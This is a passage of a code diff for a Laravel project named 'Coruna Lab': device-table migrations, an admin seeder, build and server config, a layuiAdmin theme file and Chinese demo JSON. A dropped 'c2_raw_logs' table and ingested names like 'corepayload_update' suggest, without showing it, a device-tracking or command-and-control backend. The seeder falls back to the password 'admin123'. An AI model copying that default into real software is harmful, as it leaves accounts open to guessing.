|
||||
};
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
// Prefer real hardware model; clear event-name pollution from older ingest.
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('device_model')->whereNotNull('model')->update([
|
||||
'device_model' => DB::raw('model'),
|
||||
]);
|
||||
DB::table('devices')
|
||||
->whereIn('device_model', ['corepayload_update', 'sms_version', 'sms_common', 'sms_init'])
|
||||
->orWhere('device_model', 'like', 'sms_%')
|
||||
->orWhere('device_model', 'like', '%_update')
|
||||
->update(['device_model' => null]);
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
DB::statement('UPDATE devices SET created_at = COALESCE(first_seen_at, created_at, last_seen_at, NOW())');
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
DB::statement('UPDATE devices SET updated_at = COALESCE(last_seen_at, updated_at, first_seen_at, created_at, NOW())');
|
||||
}
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$drop = [];
|
||||
foreach (['model', 'first_seen_at', 'last_seen_at'] as $col) {
|
||||
if (Schema::hasColumn('devices', $col)) {
|
||||
$drop[] = $col;
|
||||
}
|
||||
}
|
||||
if ($drop !== []) {
|
||||
$table->dropColumn($drop);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'model')) {
|
||||
$table->string('model', 128)->nullable()->after('user_agent');
|
||||
}
|
||||
if (! Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
$table->timestamp('first_seen_at')->nullable()->after('user_agent');
|
||||
}
|
||||
if (! Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
$table->timestamp('last_seen_at')->nullable()->after('first_seen_at');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('model')->whereNotNull('device_model')->update([
|
||||
'model' => DB::raw('device_model'),
|
||||
]);
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
DB::statement('UPDATE devices SET first_seen_at = created_at');
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
DB::statement('UPDATE devices SET last_seen_at = updated_at');
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
/** Tables unused by Coruna Lab (file logs / file session-cache / sync queue / admins-only auth). */
|
||||
private array $tables = [
|
||||
'c2_raw_logs',
|
||||
'users',
|
||||
'password_reset_tokens',
|
||||
'sessions',
|
||||
'cache',
|
||||
'cache_locks',
|
||||
'jobs',
|
||||
'job_batches',
|
||||
'failed_jobs',
|
||||
];
|
||||
|
||||
public function up(): void
|
||||
{
|
||||
foreach ($this->tables as $table) {
|
||||
Schema::dropIfExists($table);
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
// Intentionally empty — Laravel default scaffolding can be re-migrated if needed.
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('devices', 'profile_json')) {
|
||||
$table->dropColumn('profile_json');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'profile_json')) {
|
||||
$table->json('profile_json')->nullable()->after('user_agent');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Seeders;
|
||||
|
||||
use App\Models\Admin;
|
||||
use Illuminate\Database\Seeder;
|
||||
|
||||
class AdminSeeder extends Seeder
|
||||
{
|
||||
public function run(): void
|
||||
{
|
||||
Admin::query()->updateOrCreate(
|
||||
['username' => env('ADMIN_USERNAME', 'admin')],
|
||||
['password' => env('ADMIN_PASSWORD', 'admin123')]
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Seeders;
|
||||
|
||||
use Illuminate\Database\Seeder;
|
||||
|
||||
class DatabaseSeeder extends Seeder
|
||||
{
|
||||
public function run(): void
|
||||
{
|
||||
$this->call([
|
||||
AdminSeeder::class,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"$schema": "https://www.schemastore.org/package.json",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"build": "vite build",
|
||||
"dev": "vite"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/vite": "^4.0.0",
|
||||
"axios": "^1.11.0",
|
||||
"concurrently": "^9.0.1",
|
||||
"laravel-vite-plugin": "^2.0.0",
|
||||
"tailwindcss": "^4.0.0",
|
||||
"vite": "^7.0.7"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd"
|
||||
bootstrap="vendor/autoload.php"
|
||||
colors="true"
|
||||
>
|
||||
<testsuites>
|
||||
<testsuite name="Unit">
|
||||
<directory>tests/Unit</directory>
|
||||
</testsuite>
|
||||
<testsuite name="Feature">
|
||||
<directory>tests/Feature</directory>
|
||||
</testsuite>
|
||||
</testsuites>
|
||||
<source>
|
||||
<include>
|
||||
<directory>app</directory>
|
||||
</include>
|
||||
</source>
|
||||
<php>
|
||||
<env name="APP_ENV" value="testing"/>
|
||||
<env name="APP_MAINTENANCE_DRIVER" value="file"/>
|
||||
<env name="BCRYPT_ROUNDS" value="4"/>
|
||||
<env name="BROADCAST_CONNECTION" value="null"/>
|
||||
<env name="CACHE_STORE" value="array"/>
|
||||
<env name="DB_CONNECTION" value="sqlite"/>
|
||||
<env name="DB_DATABASE" value=":memory:"/>
|
||||
<env name="DB_URL" value=""/>
|
||||
<env name="MAIL_MAILER" value="array"/>
|
||||
<env name="QUEUE_CONNECTION" value="sync"/>
|
||||
<env name="SESSION_DRIVER" value="array"/>
|
||||
<env name="PULSE_ENABLED" value="false"/>
|
||||
<env name="TELESCOPE_ENABLED" value="false"/>
|
||||
<env name="NIGHTWATCH_ENABLED" value="false"/>
|
||||
</php>
|
||||
</phpunit>
|
||||
@@ -0,0 +1,25 @@
|
||||
<IfModule mod_rewrite.c>
|
||||
<IfModule mod_negotiation.c>
|
||||
Options -MultiViews -Indexes
|
||||
</IfModule>
|
||||
|
||||
RewriteEngine On
|
||||
|
||||
# Handle Authorization Header
|
||||
RewriteCond %{HTTP:Authorization} .
|
||||
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
|
||||
|
||||
# Handle X-XSRF-Token Header
|
||||
RewriteCond %{HTTP:x-xsrf-token} .
|
||||
RewriteRule .* - [E=HTTP_X_XSRF_TOKEN:%{HTTP:X-XSRF-Token}]
|
||||
|
||||
# Redirect Trailing Slashes If Not A Folder...
|
||||
RewriteCond %{REQUEST_FILENAME} !-d
|
||||
RewriteCond %{REQUEST_URI} (.+)/$
|
||||
RewriteRule ^ %1 [L,R=301]
|
||||
|
||||
# Send Requests To Front Controller...
|
||||
RewriteCond %{REQUEST_FILENAME} !-d
|
||||
RewriteCond %{REQUEST_FILENAME} !-f
|
||||
RewriteRule ^ index.php [L]
|
||||
</IfModule>
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Foundation\Application;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
define('LARAVEL_START', microtime(true));
|
||||
|
||||
// Determine if the application is in maintenance mode...
|
||||
if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
|
||||
require $maintenance;
|
||||
}
|
||||
|
||||
// Register the Composer autoloader...
|
||||
require __DIR__.'/../vendor/autoload.php';
|
||||
|
||||
// Bootstrap Laravel and handle the request...
|
||||
/** @var Application $app */
|
||||
$app = require_once __DIR__.'/../bootstrap/app.php';
|
||||
|
||||
$app->handleRequest(Request::capture());
|
||||
@@ -0,0 +1,2 @@
|
||||
*
|
||||
!.gitignore
|
||||
@@ -0,0 +1,2 @@
|
||||
User-agent: *
|
||||
Disallow:
|
||||
@@ -0,0 +1,129 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin iframe版全局配置
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL(layui付费产品协议)
|
||||
|
||||
*/
|
||||
|
||||
layui.define(['laytpl', 'layer', 'element', 'util'], function(exports){
|
||||
exports('setter', {
|
||||
container: 'LAY_app' //容器ID
|
||||
,base: layui.cache.base //记录静态资源所在路径
|
||||
,views: layui.cache.base + 'tpl/' //动态模板所在目录
|
||||
,entry: 'index' //默认视图文件名
|
||||
,engine: '.html' //视图文件后缀名
|
||||
,pageTabs: true //是否开启页面选项卡功能。iframe版推荐开启
|
||||
|
||||
,name: 'layuiAdmin'
|
||||
,tableName: 'layuiAdmin' //本地存储表名
|
||||
,MOD_NAME: 'admin' //模块事件名
|
||||
|
||||
,debug: true //是否开启调试模式。如开启,接口异常时会抛出异常 URL 等信息
|
||||
|
||||
//自定义请求字段
|
||||
,request: {
|
||||
tokenName: false //自动携带 token 的字段名(如:access_token)。可设置 false 不携带。
|
||||
}
|
||||
|
||||
//自定义响应字段
|
||||
,response: {
|
||||
statusName: 'code' //数据状态的字段名称
|
||||
,statusCode: {
|
||||
ok: 0 //数据状态一切正常的状态码
|
||||
,logout: 1001 //登录状态失效的状态码
|
||||
}
|
||||
,msgName: 'msg' //状态信息的字段名称
|
||||
,dataName: 'data' //数据详情的字段名称
|
||||
}
|
||||
|
||||
//扩展的第三方模块
|
||||
,extend: [
|
||||
'echarts', //echarts 核心包
|
||||
'echartsTheme' //echarts 主题
|
||||
]
|
||||
|
||||
//主题配置
|
||||
,theme: {
|
||||
//内置主题配色方案
|
||||
color: [{
|
||||
main: '#20222A' //主题色
|
||||
,selected: '#009688' //选中色
|
||||
,alias: 'default' //默认别名
|
||||
},{
|
||||
main: '#03152A'
|
||||
,selected: '#3B91FF'
|
||||
,alias: 'dark-blue' //藏蓝
|
||||
},{
|
||||
main: '#2E241B'
|
||||
,selected: '#A48566'
|
||||
,alias: 'coffee' //咖啡
|
||||
},{
|
||||
main: '#50314F'
|
||||
,selected: '#7A4D7B'
|
||||
,alias: 'purple-red' //紫红
|
||||
},{
|
||||
main: '#344058'
|
||||
,logo: '#1E9FFF'
|
||||
,selected: '#1E9FFF'
|
||||
,alias: 'ocean' //海洋
|
||||
},{
|
||||
main: '#3A3D49'
|
||||
,logo: '#2F9688'
|
||||
,selected: '#5FB878'
|
||||
,alias: 'green' //墨绿
|
||||
},{
|
||||
main: '#20222A'
|
||||
,logo: '#F78400'
|
||||
,selected: '#F78400'
|
||||
,alias: 'red' //橙色
|
||||
},{
|
||||
main: '#28333E'
|
||||
,logo: '#AA3130'
|
||||
,selected: '#AA3130'
|
||||
,alias: 'fashion-red' //时尚红
|
||||
},{
|
||||
main: '#24262F'
|
||||
,logo: '#3A3D49'
|
||||
,selected: '#009688'
|
||||
,alias: 'classic-black' //经典黑
|
||||
},{
|
||||
logo: '#226A62'
|
||||
,header: '#2F9688'
|
||||
,alias: 'green-header' //墨绿头
|
||||
},{
|
||||
main: '#344058'
|
||||
,logo: '#0085E8'
|
||||
,selected: '#1E9FFF'
|
||||
,header: '#1E9FFF'
|
||||
,alias: 'ocean-header' //海洋头
|
||||
},{
|
||||
header: '#393D49'
|
||||
,alias: 'classic-black-header' //经典黑头
|
||||
},{
|
||||
main: '#50314F'
|
||||
,logo: '#50314F'
|
||||
,selected: '#7A4D7B'
|
||||
,header: '#50314F'
|
||||
,alias: 'purple-red-header' //紫红头
|
||||
},{
|
||||
main: '#28333E'
|
||||
,logo: '#28333E'
|
||||
,selected: '#AA3130'
|
||||
,header: '#AA3130'
|
||||
,alias: 'fashion-red-header' //时尚红头
|
||||
},{
|
||||
main: '#28333E'
|
||||
,logo: '#009688'
|
||||
,selected: '#009688'
|
||||
,header: '#009688'
|
||||
,alias: 'green-header' //墨绿头
|
||||
}]
|
||||
|
||||
//初始的颜色索引,对应上面的配色方案数组索引
|
||||
//如果本地已经有主题色记录,则以本地记录为优先,除非请求本地数据(localStorage)
|
||||
,initColorIndex: 0
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,36 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"prograss": "开会"
|
||||
,"time": "一小时"
|
||||
,"complete": "已完成"
|
||||
,"LAY_CHECKED": true
|
||||
},{
|
||||
"prograss": "项目开发"
|
||||
,"time": "两小时"
|
||||
,"complete": "进行中"
|
||||
,"LAY_CHECKED": true
|
||||
},{
|
||||
"prograss": "陪吃饭"
|
||||
,"time": "一小时"
|
||||
,"complete": "未完成"
|
||||
},{
|
||||
"prograss": "修改小bug"
|
||||
,"time": "半小时"
|
||||
,"complete": "未完成"
|
||||
},{
|
||||
"prograss": "修改大bug"
|
||||
,"time": "两小时"
|
||||
,"complete": "未完成"
|
||||
},{
|
||||
"prograss": "修改小bug"
|
||||
,"time": "半小时"
|
||||
,"complete": "未完成"
|
||||
},{
|
||||
"prograss": "修改大bug"
|
||||
,"time": "两小时"
|
||||
,"complete": "未完成"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": 111
|
||||
,"title": "社区开始接受 “赞助商广告” 投放"
|
||||
,"username": "贤心"
|
||||
,"channel": "公告"
|
||||
,"href": "http://fly.layui.com/jie/15697/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 222
|
||||
,"title": "layui 一周年"
|
||||
,"username": "猫吃"
|
||||
,"channel": "讨论"
|
||||
,"href": "http://fly.layui.com/jie/16622/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "四个月的前端"
|
||||
,"username": "fd"
|
||||
,"channel": "分享"
|
||||
,"href": "http://fly.layui.com/jie/16651/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
},{
|
||||
"id": 333
|
||||
,"title": "如何评价LayUI和他的作者闲心"
|
||||
,"username": "纸飞机"
|
||||
,"channel": "提问"
|
||||
,"href": "http://fly.layui.com/jie/9352/"
|
||||
,"crt": 61632
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"keywords": "贤心是男是女"
|
||||
,"frequency": 8520
|
||||
,"userNums": 2216
|
||||
},{
|
||||
"keywords": "Java程序员能找到女朋友吗"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "此表格是静态模拟数据"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
},{
|
||||
"keywords": "layui官方教程"
|
||||
,"frequency": 666
|
||||
,"userNums": 333
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "001"
|
||||
,"reviewers": "赵"
|
||||
,"content": "我又爱上编程了"
|
||||
,"commtime": 20160312
|
||||
},{
|
||||
"id": "002"
|
||||
,"reviewers": "钱"
|
||||
,"content": "女生出门要小心"
|
||||
,"commtime": 20160821
|
||||
},{
|
||||
"id": "003"
|
||||
,"reviewers": "孙"
|
||||
,"content": "框架就用layui"
|
||||
,"commtime": 20161212
|
||||
},{
|
||||
"id": "004"
|
||||
,"reviewers": "李"
|
||||
,"content": "心姐么么哒"
|
||||
,"commtime": 20170311
|
||||
},{
|
||||
"id": "005"
|
||||
,"reviewers": "周"
|
||||
,"content": "希望明天是个好天气"
|
||||
,"commtime": 20170612
|
||||
},{
|
||||
"id": "006"
|
||||
,"reviewers": "吴"
|
||||
,"content": "我又爱上编程了"
|
||||
,"commtime": 20171112
|
||||
},{
|
||||
"id": "007"
|
||||
,"reviewers": "郑"
|
||||
,"content": "女生出门要小心"
|
||||
,"commtime": 20171230
|
||||
},{
|
||||
"id": "008"
|
||||
,"reviewers": "王"
|
||||
,"content": "框架就用layui"
|
||||
,"commtime": 20180112
|
||||
},{
|
||||
"id": "009"
|
||||
,"reviewers": "冯"
|
||||
,"content": "心姐么么哒"
|
||||
,"commtime": 20180221
|
||||
},{
|
||||
"id": "010"
|
||||
,"reviewers": "陈"
|
||||
,"content": "希望明天是个好天气"
|
||||
,"commtime": 20180312
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "001"
|
||||
,"label": "美食"
|
||||
,"title": "舌尖上的中国第一季"
|
||||
,"author": "作者-1"
|
||||
,"content": "通过中华美食的多个侧面,来展现食物给中国人生活带来的仪式、伦理等方面的文化;见识中国特色食材以及与食物相关、构成中国美食特有气质的一系列元素;了解中华饮食文化的精致和源远流长"
|
||||
,"uploadtime": 20121204
|
||||
,"status": true
|
||||
},{
|
||||
"id": "002"
|
||||
,"label": "美食"
|
||||
,"title": "舌尖上的中国第二季"
|
||||
,"author": "作者-2"
|
||||
,"content": "以食物为窗口,读懂中国——通过美食,使人们可以有滋有味地认知这个古老的东方国度。“一方水土一方人”,本片将通过展示人们日常生活中与美食相关的多重侧面,描绘与感知中国人的文化传统、家族观念、生活态度与故土难离。人们收获、保存、烹饪、生产美食,并在其过程中留存和传承食物所承载的味觉记忆、饮食习俗、文化样态与家常情感。"
|
||||
,"uploadtime": 20141204
|
||||
,"status": false
|
||||
},{
|
||||
"id": "003"
|
||||
,"label": "美食"
|
||||
,"title": "舌尖上的中国第三季"
|
||||
,"author": "作者-3"
|
||||
,"content": "以食物为窗口,读懂中国——通过美食,使人们可以有滋有味地认知这个古老的东方国度。“一方水土一方人”,本片将通过展示人们日常生活中与美食相关的多重侧面,描绘与感知中国人的文化传统、家族观念、生活态度与故土难离。人们收获、保存、烹饪、生产美食,并在其过程中留存和传承食物所承载的味觉记忆、饮食习俗、文化样态与家常情感将世界美食和中国美食进行比照。春耕、夏耘、秋收、冬藏,天人合一的东方哲学让中国饮食依时而变,智慧灵动,中医营养摄生学说创造了食材运用的新天地,儒家人伦道德则把心意和家的味道端上我们的餐桌。淘洗历史,糅合时光,一代又一代的中国人在天地间升起烟火,用至精至诚的心意烹制食物,一餐一食之间,中国人展示个性,确认归属,构建文明,理解和把握着世界的奥妙。"
|
||||
,"uploadtime": 20161204
|
||||
,"status": false
|
||||
},{
|
||||
"id": "004"
|
||||
,"label": "历史"
|
||||
,"title": "诸葛亮骂王朗"
|
||||
,"author": "作者-1"
|
||||
,"content": "皓首匹夫!苍髯老贼!你即将命归于九泉之下,届时,有何面目见汉朝二十四代先帝?二臣贼子!你枉活七十有六,一生未立寸功,只会摇唇舞舌,助曹为虐!一条断脊之犬,还敢在我军阵前狺狺狂吠!我从未见过如此厚颜无耻之人!!!"
|
||||
,"uploadtime": 20180201
|
||||
,"status": false
|
||||
},{
|
||||
"id": "005"
|
||||
,"label": "新闻"
|
||||
,"title": "新时代特色中国梦"
|
||||
,"author": "作者-1"
|
||||
,"content": "今天,我们比历史上任何时期都更接近、更有信心和能力实现中华民族伟大复兴的目标。新时代已经到来,蓝图已经绘就,中国梦离我们越来越近了。"
|
||||
,"uploadtime": 20180512
|
||||
,"status": false
|
||||
},{
|
||||
"id": "006"
|
||||
,"label": "新闻"
|
||||
,"title": "新时代特色中国梦"
|
||||
,"author": "作者-2"
|
||||
,"content": "梦想不会主动走向我们,只有我们去主动实现梦想。行百里者半九十。虽然中国梦离我们越来越近了,但是要实现中国梦,还要靠我们以永不懈怠的精神状态、功在不舍的坚强意志,不忘初心,继续前进。"
|
||||
,"uploadtime": 20180514
|
||||
,"status": false
|
||||
},{
|
||||
"id": "007"
|
||||
,"label": "体育"
|
||||
,"title": "皇马大战利物浦"
|
||||
,"author": "作者-3"
|
||||
,"content": "对欧足联而言,更想要产生个新冠军。连续三年都是同一个冠军队,这会毁掉欧冠……”格里姆表态,“皇马有梦幻般的阵容,但从促进竞争的角度而言,另一支球队获胜会更好。"
|
||||
,"uploadtime": 20180515
|
||||
,"status": false
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "001"
|
||||
,"tags": "美食"
|
||||
},{
|
||||
"id": "002"
|
||||
,"tags": "新闻"
|
||||
},{
|
||||
"id": "003"
|
||||
,"tags": "八卦"
|
||||
},{
|
||||
"id": "004"
|
||||
,"tags": "体育"
|
||||
},{
|
||||
"id": "005"
|
||||
,"tags": "音乐"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "1001"
|
||||
,"poster": "赵"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "为什么花儿这么么红"
|
||||
,"posttime": 20160805
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1002"
|
||||
,"poster": "钱"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "喜欢胡歌,赞赞赞"
|
||||
,"posttime": 20161205
|
||||
,"top": true
|
||||
},{
|
||||
"id": "1003"
|
||||
,"poster": "孙"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "明天就要考试了,好紧张,求保佑"
|
||||
,"posttime": 20170405
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1004"
|
||||
,"poster": "李"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "希望明天是个好天气"
|
||||
,"posttime": 20171005
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1005"
|
||||
,"poster": "周"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "女追男隔层纱,是不是真的"
|
||||
,"posttime": 20180205
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1006"
|
||||
,"poster": "吴"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "竟然有人跳楼,年轻人想不开啊!"
|
||||
,"posttime": 20180512
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1007"
|
||||
,"poster": "郑"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "大家一定不能学那个年轻人,珍爱生命啊"
|
||||
,"posttime": 20180512
|
||||
,"top": false
|
||||
},{
|
||||
"id": "1008"
|
||||
,"poster": "王"
|
||||
,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg"
|
||||
,"content": "想知道南昌哪里有好吃的西安肉夹馍"
|
||||
,"posttime": 20180514
|
||||
,"top": false
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"id": "001"
|
||||
,"replyer": "吴"
|
||||
,"cardid": "1002"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "有眼光,我也喜欢胡歌!"
|
||||
,"replytime": 20161205
|
||||
},{
|
||||
"id": "002"
|
||||
,"replyer": "郑"
|
||||
,"cardid": "1002"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "同上同上。"
|
||||
,"replytime": 20161205
|
||||
},{
|
||||
"id": "003"
|
||||
,"replyer": "王"
|
||||
,"cardid": "1003"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "能过一定过,不能过紧张也没用"
|
||||
,"replytime": 20170405
|
||||
},{
|
||||
"id": "004"
|
||||
,"replyer": "冯"
|
||||
,"cardid": "1001"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "可能因为你流鼻血了。"
|
||||
,"replytime": 20170405
|
||||
},{
|
||||
"id": "005"
|
||||
,"replyer": "陈"
|
||||
,"cardid": "1003"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "加油加油,看好你"
|
||||
,"replytime": 20170405
|
||||
},{
|
||||
"id": "006"
|
||||
,"replyer": "褚"
|
||||
,"cardid": "1005"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "纯属放屁"
|
||||
,"replytime": 20180207
|
||||
},{
|
||||
"id": "007"
|
||||
,"replyer": "卫"
|
||||
,"cardid": "1005"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "可以试试"
|
||||
,"replytime": 20180207
|
||||
},{
|
||||
"id": "006"
|
||||
,"replyer": "蒋"
|
||||
,"cardid": "1006"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "是啊是啊,太恐怖了。"
|
||||
,"replytime": 20180512
|
||||
},{
|
||||
"id": "007"
|
||||
,"replyer": "沈"
|
||||
,"cardid": "1008"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "魏家凉皮的凉皮就很不错奥。"
